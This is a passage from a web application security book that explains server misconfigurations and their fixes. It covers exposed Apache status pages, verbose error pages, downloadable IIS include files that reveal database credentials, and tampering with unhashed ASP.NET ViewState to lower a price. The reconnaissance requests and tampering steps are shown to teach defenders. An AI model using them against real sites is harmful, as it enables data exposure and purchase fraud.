At one time Apache had, by default, an accessible status page. These pages provided a dump of useful information about the server and its connections. Today, these pages are disabled by default, but plenty of deployments that still enable this feature are out there. Finding the status page is very simple. Look for it by making the following requests to a potentially vulnerable web site:
• http://www.site.com/server-info
• http://www.site.com/server-status
Shown here is an example of a server status page that might get turned up with one of these requests:
Status Page Information Leakage Countermeasure
As with most of the Apache vulnerabilities we’ve discussed so far, fixing this issue is as simple as editing the Apache server configuration file, httpd.conf, and adding the following configuration:
<Location /server-info>
SetHandler server-info
Order deny,allow
Deny from all
Allow from yourcompany.com
</Location>
<Location /server-status>
SetHandler server-status
Order deny,allow
Deny from all
Allow from yourcompany.com
</Location>
Default Error Pages Information Leakage
Every time an HTTP request is sent to a web server, an HTTP status code is returned in the response generated by the web server. One of the most common status codes, which you have probably seen, is the 404 Not Found status code, returned by the web server. As its name indicates, this response is obtained when an HTTP client (e.g., a browser) requests a resource that does not exist. The next example shows a manual request to an Apache server for a nonexistent resource and the status code returned by the server:
telnet www.server.com 80
Trying www.server.com...
Connected to www.server.com.
Escape character is '^]'.
GET /thereisnosuchfile HTTP/1.0
HTTP/1.1 404 Not Found
Date: Thu, 18 Feb 2010 20:38:06 GMT
Server: Apache/2.2.12 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 290
Connection: close
Content-Type: text/html; charset=iso-8858-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /thereisnosuchfile was not found on this server.</p>
<hr>
<address>Apache/2.2.12 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html>
Connection closed by foreign host.
If you study the response shown here, you’ll notice that the web server not only returns the 404 Not Found HTTP status code, but it also returns a default web page that lets the user know what happened. Figure 8-6 shows how this web page looks in a browser.
You may also notice how this default web page displays information such as the exact version of the web server (Apache/2.2.12). This information can be useful for an attacker when deciding what attacks or exploits to attempt against the web server.
A similar scenario can be observed when using IIS and ASP.NET. For example, Figure 8-7 shows a Resource Not Found error, as displayed by an ASP.NET application. The exact version of the .NET Framework installed is displayed at the bottom of the error
Figure 8-6 Apache’ s default 404 Not Found HTTP status code web page
Figure 8-7 The ASP.NET Resource Cannot Be Found error message
page. Also, if the application throws an unhandled exception, the error page will contain a detailed stack trace of the code that caused the error, including, for example, the complete path of the file that caused the error. Figure 8-8 shows an example of an error with stack trace information.
Default Error Pages Information Leakage Countermeasures
The solution to this issue is very simple: customize the error pages returned by the web server. To customize the error pages in Apache, use the ErrorDocument directive specifying the error code and the message to be displayed. For example:
ErrorDocument 404 "Error"
ErrorDocument 403 http://server/error403.html
You can specify a hard-coded message or a URL pointing to a script or static HTML file. In any case, the key thing to remember is to display the minimum amount of information possible about the cause of the error in production.
In the case of IIS and ASP.NET, you can use the <customErrors> element in your application’ s web.config file to customize error messages, for example:
<customErrors mode="On" defaultRedirect="error.html">
<error statusCode="404" redirect="FileNotFound.html"/>
</customErrors>
Figure 8-8 ASP.NET’s default system exception error page displays a detailed stack trace with potentially helpful information for an attacker.
The <customErrors> element has three basic modes that can be configured via its mode attribute:
• On specifies that custom errors are enabled. If no defaultRedirect attribute is specified, users see a generic error. The custom errors are shown to the remote clients and to the local host.
• Off specifies that custom errors are disabled. The detailed ASP.NET errors are shown to the remote clients and to the local host.
• RemoteOnly specifies that custom errors are shown only to the remote clients, and that ASP.NET errors are shown to the local host.
The default value is RemoteOnly, which will not disclose version information or stack traces to remote clients when displaying an error page. However, web developers commonly set the mode attribute to Off during the development process and then forget to reset it back to RemoteOnly or On to specify custom error messages when deploying the application on production servers. You’ll find more information about the <customErrors> element and the ErrorDocument directive in the “References & Further Reading” section at the end of this chapter.
Include File Disclosure
In IIS 5.x, the web server, by default, returns plain-text files with unknown extension types to the user. For example, if a file is created in the web root named test.ars, whenever that file is requested from a browser, a download prompt will appear. This is because the extension ARS is not a known file type like ASP and HTML. This seemingly inconspicuous default setting can create serious information-disclosure situations. One of the most common is the ability to download so-called include (.inc) files.
What are include files? When developers code in ASP, they usually have a library of common functions that they place into include files so they can be called efficiently from other parts of the site/application. The location of include files can often be found in HTML source code or via the file/path disclosure vulnerabilities discussed earlier. Here’s an example from a comment in HTML source code from a site we audited recently:
<!-- #include virtual ="/include/connections.inc" -->
Armed with the path- and filename, an attacker can now simply request the include file itself by browsing to http://www.site.com/include/connections.inc.
Voilà! The response contains all of the file’s source code, including the database username and password!
<%
' FileName="Connection_ado_conn_string.htm"
' Type="ADO"
' DesigntimeType="ADO"
' HTTP="false"
' Catalog=""
' Schema=""
Dim MM_Connection_STRING
MM_Connection_STRING = "Driver={SQL Server};Server=SITE1;Database=
Customers;Uid=sa;Pwd=sp1Int3nze!*;"
%>
NOTE
The web server is logged in as sa. Bad practice!
Furthermore, the attacker also knows the include file directory for this application/site and can start guessing at other potentially sensitive include files in hopes of downloading even more sensitive information.
Include File Countermeasures
There are three ways to eliminate this pesky problem, rated as “Good,” “Better,” and “Best,” respectively.
• Good Move all .inc files out of the web app/site structure so they are not available to standard requests. This solution may not be viable for large existing web applications, since all of the pathnames within the application’s code would need to be changed to reflect the new file locations. Furthermore, it doesn’t prevent subsequent placement of .inc files in inappropriate places, whether through laziness or lack of awareness.
• Better Rename all .inc files to .inc.asp. This will force the .inc files to run within the ASP engine and their source will not be available to clients.
• Best Associate the .inc extension with asp.dll. This will again force the .inc files to run within the ASP engine and their source will not be available to clients. This countermeasure is better than moving the files or renaming them to .asp because any file that is inadvertently named .inc will no longer be an issue—no matter if laziness or lack of awareness prevails in the future.
NOTE
Microsoft’s ASP engine has suffered from vulnerabilities in the past that have resulted in information disclosure for some file types. While these issues have long since been fixed by Microsoft, you never really know what the effects of running code that is really not designed to be run directly could cause. It’s probably best to use a combination of the approaches just described to ensure an in-depth defense. It is also worth noting that this issue has been fixed in IIS 6.0; when you request a file from an IIS 6.0 web server with an extension that is not a defined MIME type, an HTTP 404 File Not Found error is returned.
State Management Misconfiguration
We devote the entirety of Chapter 5 to session management attacks and countermeasures, but have reserved a short example of how such vulnerabilities result from misconfigurations in this section.
Hacking ViewState
ViewState is an ASP.NET method used to maintain the “state” information of all items located within an ASP.NET web page (see “References & Further Reading” for links to more information on ViewState). When a web form is submitted to a server in older versions of ASP, all of the form values get cleared. When the same form is submitted in ASP.NET, the status or “ViewState” of the form is maintained. We’ve all encountered the frustration, after completing and submitting a lengthy application or other web form, of receiving an error message and seeing that all of the information entered into the form has vanished. This typically occurs when a field is left blank or fails to comply with the structure the application expected. The application fails to maintain the “state” of the form submitted. The goal of ViewState is to eliminate this problem by maintaining the contents of the form just as it was submitted to the server—if there’s an error or unexpected value in a field, the user is asked to correct only that information with the rest of the form remaining intact.
ViewState can also be used to hold the state of other application values. Many developers store sensitive information and entire objects in ViewState, but this practice can create serious security issues if ViewState is tampered with.
A good example of this is within the Microsoft reference application called Duwamish 7.1 (see “References & Further Reading” for a link). Duwamish Books is a sample online book-purchasing web application. Figure 8-9 shows the basic look and feel of Duwamish Books. Note that the book How to Win Friends and Influence People can be purchased for $11.99.
Viewing the source of the page, shown in Figure 8-10, reveals a hidden ViewState field that is sent when the “Add to Cart” button is pressed and the page form contents are submitted. The hidden ViewState field is shown in Figure 8-10, highlighted in black.
As you can see, the ViewState value is encoded. Although it’s difficult to tell what encoding algorithm is used simply from the value shown, most web technologies use Base64 encoding so it’s probably a safe assumption that Base64 was used here. In order to see the properties of this ViewState, we run the value through a Base64 decoder. The result is shown in Figure 8-11.
Figure 8-9 The Duwamish sample web application by Microsoft
Figure 8-10 The ViewState is located in a hidden tag in the form.
Figure 8-11 The ViewState Base64 decoded
There are two things to notice about the decoded ViewState value shown in Figure 8-11:
• The $11.99 price is being kept in ViewState.
• The ViewState is not being hashed. You can tell this by looking at the very end of the decoded string where you see a right-pointing angle bracket (>).
A hashed ViewState has random bytes at the end of the string that look like this: <:Xy’y_w_Yy/FpP
Since this ViewState is not hashed, any changes made to the ViewState should be readily accepted by the web application. An attacker could modify the $11.99 price to $0.99, and then encode the ViewState back to Base64 and submit the request to the server. Such a request might look like the one shown in Figure 8-12.
Figure 8-12 The hacked request sent to the server
The server’s response, shown here, indicates that the book can be purchased at the $0.99 price set by the attacker!
Hacking ViewState Countermeasures
First off, don’t ever store anything in ViewState. Let ViewState do its job and don’t mess with it. This is the easiest way to prevent attackers from employing it to mess with your users.
Microsoft provides the ability to apply a keyed hash to the ViewState tag. This hash is checked upon receipt to ensure the ViewState wasn’t altered in transit. Depending on your version of ASP.NET, this ViewState integrity validation mechanism can be enabled by default. If not, you can enable integrity checking by adding these lines to the application’s web.config file (the enabling of ViewState integrity checking is shown in bold text):
<pages buffer="(true|false)" enableViewStateMac="true"/> <machineKey
validationKey="(minimum 40 char key)" decryptionKey=
"AutoGenerate" validation="SHA1"/>
The key can be manually added by entering the value in the web.config, or it can be auto-generated by entering AutoGenerate for the validationKey value. If you would like to have a unique key for each application, you can add the IsolateApps modifier to the validationKey value. More information on the <machineKey> element of the web.config can be found via the links included in the “References & Further Reading” section at the end of this chapter.
TIP
If you have a web server farm, you may want to set the same ViewState validation key across all servers, rather than allowing each server to auto-generate one (which may break your app).
SUMMARY
This chapter noted a wide range of tools and services to implement remote web server administration and content management/authoring. All of these interfaces can easily be identified by attackers using port scanning and any related weaknesses exploited, be they known software bugs, weak (default) passwords, or inappropriate access controls. Thus, it behooves web application architects to consider remote management and ensure that it is done securely. The following general guidelines for securing remote web server management were covered in this chapter:
• Authenticate all remote administrative access; use multifactor authentication for remote administration where reasonable.
• Ensure that strong login credentials are used. Be sure to reset vendor default passwords!
• Restrict remote management to one IP address or a small set of IP addresses.
• Use a communications protocol that is secured against eavesdropping (SSL or SSH, for example).
• Use a single server as a terminal for remote management of multiple servers, rather than deploying management services to each individual web server.
And, as always, carefully restrict the type of services that web servers can use to access internal networks; remember, a web server is likely to experience a serious security compromise at some point in its duty cycle, and if that web server has a dozen drives mapped on internal staging file servers, then your internal network is compromised, too. Consider using sneakernet (i.e., physically moving content to an isolated DMZ distribution server on removable media) to update web servers, keeping them physically isolated from the rest of the organization.
We also discussed common web application misconfigurations, whether perpetrated by administrators or developers (we contrasted these with errors in COTS components, which we discussed in Chapter 3). We noted that one of the most dangerous misconfigurations is leaving unnecessary web server extensions enabled, due to the long and storied history of high-impact exploits of such modules. We also demonstrated how to address common sources of web application information leakage, including HTML source code, common directory and filename conventions, Internet caches like the Way-back Machine, status pages, and so on. On the developer side of the house, we cited include files as a common source of information leakage, and presented an example of exploiting a hidden form field to defeat Microsoft’s ASP.NET ViewState feature. Hopefully, these examples will illustrate how to seal up the most common and devastating leaks in your web applications.
REFERENCES & FURTHER READING
